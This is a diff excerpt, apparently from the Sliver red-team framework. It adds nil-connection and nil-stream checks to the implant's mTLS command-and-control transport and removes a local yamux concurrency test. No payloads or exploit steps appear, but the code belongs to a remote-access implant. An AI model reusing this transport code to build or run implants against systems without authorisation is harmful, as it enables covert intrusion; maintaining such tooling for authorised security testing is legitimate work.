switch rv.Kind() {
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
return rv.IsNil()
default:
return false
}
}
+28 -2
View File
@@ -25,7 +25,9 @@ import (
// {{end}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"errors"
"strconv"
// {{end}}
// {{if .Config.Debug}}
@@ -45,8 +47,6 @@ import (
// {{end}}
// {{if .Config.IncludeWG}}
"errors"
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
"golang.zx2c4.com/wireguard/device"
@@ -257,6 +257,13 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
if err != nil {
return err
}
if conn == nil {
errMsg := ""
// {{if .Config.Debug}}
errMsg = "mtls connection returned nil conn"
// {{end}}
return errors.New(errMsg)
}
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
conn.Close()
return err
@@ -266,6 +273,14 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
conn.Close()
return err
}
if muxSession == nil {
conn.Close()
errMsg := ""
// {{if .Config.Debug}}
errMsg = "[mtls] failed to create yamux session (nil)"
// {{end}}
return errors.New(errMsg)
}
connection.IsOpen = true
go func() {
@@ -292,6 +307,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
connection.Cleanup()
return
}
if isNilInterface(stream) {
connection.Cleanup()
return
}
defer stream.Close()
if err := mtls.WriteEnvelope(stream, envelope); err != nil {
connection.Cleanup()
@@ -315,6 +334,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
connection.Cleanup()
return
}
if isNilInterface(stream) {
connection.Cleanup()
return
}
defer stream.Close()
if err := mtls.WritePing(stream); err != nil {
connection.Cleanup()
@@ -346,6 +369,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
if err != nil {
return
}
if isNilInterface(stream) {
return
}
select {
case streamSem <- struct{}{}:
-83
View File
@@ -1,83 +0,0 @@
package yamuxtest
import (
"bytes"
"fmt"
"io"
"net"
"sync"
"testing"
"github.com/hashicorp/yamux"
)
func TestYamuxConcurrentStreams(t *testing.T) {
serverConn, clientConn := net.Pipe()
serverSession, err := yamux.Server(serverConn, nil)
if err != nil {
t.Fatalf("server session: %v", err)
}
defer serverSession.Close()
clientSession, err := yamux.Client(clientConn, nil)
if err != nil {
t.Fatalf("client session: %v", err)
}
defer clientSession.Close()
const streams = 16
payloads := make([][]byte, streams)
for i := 0; i < streams; i++ {
payloads[i] = []byte(fmt.Sprintf("stream=%d payload=%s", i, bytes.Repeat([]byte{byte('a' + i)}, 4096)))
}
var openWg sync.WaitGroup
openWg.Add(streams)
for i := 0; i < streams; i++ {
i := i
go func() {
defer openWg.Done()
stream, err := clientSession.Open()
if err != nil {
t.Errorf("open stream %d: %v", i, err)
return
}
_, err = stream.Write(payloads[i])
_ = stream.Close()
if err != nil {
t.Errorf("write stream %d: %v", i, err)
return
}
}()
}
openWg.Wait()
wantSet := map[string]struct{}{}
for _, p := range payloads {
wantSet[string(p)] = struct{}{}
}
gotSet := map[string]struct{}{}
for i := 0; i < streams; i++ {
stream, err := serverSession.Accept()
if err != nil {
t.Fatalf("accept stream %d: %v", i, err)
}
b, err := io.ReadAll(stream)
_ = stream.Close()
if err != nil {
t.Fatalf("read stream %d: %v", i, err)
}
gotSet[string(b)] = struct{}{}
}
if len(gotSet) != len(wantSet) {
t.Fatalf("unexpected payload count: got=%d want=%d", len(gotSet), len(wantSet))
}
for want := range wantSet {
if _, ok := gotSet[want]; !ok {
t.Fatalf("missing payload: %q", want)
}
}
}
File diff suppressed because it is too large. Load diff
Loaded 100 of 128 files, more files were not shown because too many files have changed in this diff. Show more